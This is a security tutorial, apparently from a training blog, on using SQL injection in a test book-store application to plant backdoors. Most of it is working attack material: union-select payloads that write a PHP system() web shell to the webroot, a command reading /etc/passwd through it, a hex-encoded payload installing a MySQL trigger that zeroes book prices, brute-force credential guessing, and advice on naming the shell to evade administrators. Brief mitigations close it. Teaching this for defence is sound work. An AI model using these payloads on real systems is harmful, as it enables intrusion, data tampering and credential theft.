Creating backdoors using SQL injection
If you're reading this article than I'm reasonably sure that you have heard of a virus, otherwise refered to as a Trojan horse or worm, which can infect your system. Once infected, your system may possibly infect others as well, e.g., when you connect your infected system to a network. Many times the malware not only spreads to other systems but makes changes to every system it infects. These changes will let the virus remotely control every system that it infects at a later date. It accomplishes this by first executing and then copying a small executable onto the user's disk; this executable simply listens on an unused port of the user's system to which the malware can connect to whenever the machine is connected to the Internet. This little executable is called a backdoor. I've over simplified everything here; but my purpose was to introduce the concept of a backdoor.
FREE role-guided training plans
In this article, we will look at a couple of ways in which different kinds of backdoors can be introduced onto a server via a SQL injection vulnerability. We are going to take an application that I have which is already vulnerable to SQL injection and I'm going to use an existing vulnerability to introduce a backdoor to the system.
What is SQL injection?
There are already well over 1 million articles about what SQL injection is and how it can be discovered and mitigated, so I won't repeat that here. Here's a link to an introductory article that I wrote if you need more background information on SQL injections. In the article I also include a number of references where you can find additional information on the topic.
Right, so now you're clear about what SQL injection is and how you can extract data from a database. Now we will use this discovered injection vulnerability to drop a backdoor onto the system.
An operating system (OS) backdoor...
The aim here is to be able to execute random commands against the operating system by exploiting the SQL injection vulnerability. To run OS commands we will need a command (CMD) shell, or need to run code which allows us to run OS commands. Let's try both techniques.
Getting an OS Shell
We'll now try to write our own code to the server which will help us run arbitrary OS commands against the server. So we already know, from the previous article, that the search parameter is vulnerable to SQL injection and that the table in question contains 4 columns. As a reminder, an input of Harry Potter' union select 1,2,3,4# gives us an error.
Now remember, we want to insert our own PHP code so we can run shell commands. To do this, we use the INTO OUTFILE feature that MySQL provides. Using INTO OUTFILE, it is possible for the output of a query to be redirected into a file on the operating system. So with that in mind, if we give as input - Harry Potter' union select 'TEXT INTO FILE',2,3 INTO OUTFILE '/tmp/blah.txt'#, the text string 'TEXT INTO FILE' will be stored in the file blah.txt in the directory /tmp.
Now instead of 'TEXT INTO FILE', we'll use some very basic PHP code that will read an argument from the URL and run a command against the operating system, using it as an input. Here is the input that we will give: Harry Potter' union select "<? system($_REQUEST['cmd']); ?>",2,3 INTO OUTFILE '/var/www/test/execcmd.php'#
Yes! But there's lots of stuff about the books that I am not interested in at all. So I'll tweak my query a little and remove the Harry Potter instead, thus making the query - ' union select "<? system($_REQUEST['cmd']); ?>",2,3 INTO OUTFILE '/var/www/test/execcmd.php'# and re-run...
This is much better, although we still have the 2 and 3 appearing.
Let's try and access the execcmd.php page now and pass the command [cat /etc/passwd] which we want to execute as an argument.
It works. There are a couple of things to remember here though, which I discovered while trying all this out.
--- The database user who runs these queries against the database must have the FILE privilege, otherwise he cannot use the INTO OUTFILE command.
--- There must be a directory in webroot that the MySQL service user can write to; otherwise you can't access the Web Shell that you just uploaded. You could write it into a world writeable directory like /tmp, but then you wouldn't be able to access it.
The easier way to do this though is to try and get a shell is by using an inbuilt SQLMap feature. If you read my previous article, you'll remember I used SQLMap. Let's use the same code again to demo this feature of SQLMap.
Below is a screenshot of an OS shell obtained by simply adding an option to SQLMap and then selecting a PHP Web shell when prompted.
Run a command just to check we've actually got a shell. And yes, we have it.
That was far too easy.
Unfortunately that's how easy things are at times from the 'bad guy' perspective.
Now you probably don't want to use the earlier technique because this one is easier and faster, but it always helps to know the manual way ( so you have something to fall back on if the tool fails). One more thing to remember, after the Web shell is created, use a name which is very similar to the names of the files that already exist in the webroot. This will help shield you from being discovered easily by a casual systems administrator.
Before moving on to the next type of backdoor, I want to show you what SQLMap did under the hood. You can run SQLMap with a proxy set to do this.
Forward a few requests until it comes to the part where the actual Web shell is getting uploaded by SQLMap to a world writeable directory, and look at the query that is being fired against the database.
Hmm…we should see something familiar. Let's URL decode once to be sure. Look at the blue highlighted bit in the bottom pane. It turns out that SQLMap is using the INTO OUTFILE command; the very same command that we used earlier when we were learning the manual technique.
Lastly, let's look at the contents of the Web Shell that SQLMap uploads. It's much fancier. Look at the bottom pane.
The point here, once again, is that a tool simplifies our work greatly, but does the same things (largely) that we would have had we had the luxury of unlimited time.
A database backdoor...
So we now know that an OS backdoor can be planted on a system if the application is vulnerable to SQL injection. Let's now look at how a backdoor can be planted in a database as well. Before we go ahead though, we need a little bit of background on how the backdoor functions. In the OS backdoor, we directly accessed the backdoor and passed a command to it; here it's slightly more indirect. The backdoor that we configure will change the values of some sensitive data in the database each time an Insert operation takes place. So, each time a new book is added to the database our backdoor will set its price to 0, so that people can buy books without paying for them. This would probably get detected reasonably fast in the real world.
So we have something called a trigger in a database; this basically means – 'When something that I want to have happen happens, pull the trigger and do something else'. This is really too vague. So let's take a more sensible example. Let's say you're a cop. The moment you see your serial killer, you pull the trigger and a bullet is released. Right? So mapping that back - there is an INSERT(killer) the database trigger(gun trigger) is fired and the action that you have configured(bullet) takes place.
Here is the MySQL trigger that we're going to write.
[sourcecode]
delimiter #
CREATE TRIGGER price BEFORE INSERT ON books
for each row begin
set new.price='0';
end;#
delimiter ;
[/sourcecode]
And this is what it means...
a) Set the MySQL delimiter to a '#'. This is because the default delimiter is a ; and treated as a special character in MySQL. We however need it to be treated as data. So we change the delimiter to a '#'; which means '#' now has special meaning.
b) Whenever there is going to be an Insert; i.e. whenever we add a new book, set the price of that book to 0.
c) Terminate the trigger and set the delimiter back to a ;
The code for that trigger needs to run somehow. So we need to somehow get the code onto the server.
Let's use the SQL injection vulnerability that we know about to first copy the trigger onto the server. Here is the input that we will give to the Search box
Harry Potter' AND 1=0 union select 0x20,0x20,0x20 INTO OUTFILE '/var/www/test/g2' LINES TERMINATED BY 0x64656c696d6974657220230a4352454154452054524947474552207072696365204245464
f524520494e53455254204f4e20626f6f6b730a666f72206561636820726f7720626567696e0a7
36574206e65772e70726963653d2730273b0a656e643b230a64656c696d69746572203b#
I'll provide a quick explanation of that query - because although it appears to be complex - it really isn't. We use a 1=0 because we are not interested in the results of the Harry Potter query. The select 0x20 bit is just selecting the 'space' character three times; this is just so that I get only the stuff I need (valid trigger syntax) into the file '/var/www/test/g2'. The bit that follows the LINES TERMINATED BY is the entire trigger in hex (I used Burp Decoder; don't sit and waste time converting it by hand).
So let's run it now and see what appears in the file /var/www/test/g2.
Did you notice the spaces at the beginning? That is because of the select 0x20,0x20,0x20 we saw earlier. The rest is self-explanatory.
Now we somehow need to execute this query so that the trigger is activated each time a book is 'INSERTed'. Here are three ways that this can be achieved:
a) Stacked queries – Harry Potter' UNION blah blah blah; source /var/www/test/g2
This however won't work because stacked queries aren't supported on PHP-MySQL
b) Abusing MySQL default trigger behavior
This is a technique which I haven't tested out, but which is documented very clearly by Stefano Di Paola. Do try it out; I will too sometime.
c) Using a SQL injection tool like SQLMap to run the trigger saved in the file /var/www/test/g2
This is the method we will test.
So let's run SQLMap again and get an SQL shell from where we can try and run the trigger.
Look at the last line. Unfortunately, the only way we can get this to run is when stacked query support is available. That means options a and c above both mean the same. Let's confirm this by looking at SQLMap in a proxy.
Let's run a simple query which will create a new database – 'create database boo;' in the sql-shell and look at it in Burp.
As we can see, it's trying to interpret it somehow as a select query. This will never work. The response from Burp confirms this.
The only other way that I can think of using in order to run our own queries involves the following steps:
--- Guess the MySQL database password for a valid database user. For example, you guessed root and test123
--- Inject an OS web shell backdoor (like above)
--- Inject the trigger as was performed above into another file (like above)
--- Now run the trigger using the MySQL command line via the Web Shell and install the trigger
I've included a couple of screenshots on how this could work. For starters..here's a screenshot showing that there aren't any triggers in the database...currently.
Let's say we've already guessed the username and password as root and toor [by using brute force through Blind SQL and querying the mysql.user table]. Now we access the Web shell and pass a command as follows:
[sourcecode]
mysql -u<USERNAME> -p<PASSWORD> <DB NAME> < /var/www/test/g2
[/sourcecode]
Now let's look at the database again.
There's our trigger.
Now let's run an INSERT query and see if our trigger 'runs'. So the price of all Jeffrey Archer books is some ridiculous number.
Now on running the query.....
Ooops... look at the last line. Someone isn't going to get paid as much as they thought they would…
Now here we directly executed an INSERT query against the database. In the real world there would be a form to 'Add Books' which would fire this exact INSERT query in the backend, and the trigger would most certainly still run. That's the only reason why I haven't created another form (and I'm a little lazy too).
Obviously the big IF in this attack is that we have to guess the username and password for the database. Without going into too much detail, here is one way you can approach it:
--- Think of a few known database usernames [e.g root in the case of MySQL] or social engineer your way into getting a few
--- MySQL passwords are hashed these days; so the password is NOT going to be in clear text
--- You can try and crack passwords in two ways (that I can think of):
- Use the SQL injection vulnerability to compare a list of passwords against the stored password hash. (Blind SQL; refer previous article)
- Run the trigger in the Web shell with the entire list of cleartext passwords for a specific account. You can write a Perl or Ruby script to do this for you. Try inserting a book after the entire password list has been traversed or after each guess to find out which password worked.
- mysql -uroot -ptoor blindsql_test< /var/www/test/g2
- mysql -uroot -proot blindsql_test< /var/www/test/g2
- mysql -uroot -ptest blindsql_test< /var/www/test/g2
- mysql -uroot -ppassword blindsql_test< /var/www/test/g2
Recommended Mitigations
- Use parameterized queries to protect against SQL injection
- Don't have any world writeable directories in your webroot.
- Restrict the privileges of the application user who is quering your database in the backend. In this case, don't assign the FILE privilege to that user.
- Disable all default database accounts
- Have strong database passwords and a strong password policy
Conclusion
The root of the problem remains, the application is vulnerable to SQL injection. Fixing that will prevent the problem. However, it's good to know the different ways in which backdoors can be planted. A lot of malware will spread this way; and it's important to take steps to protect against them.
FREE role-guided training plans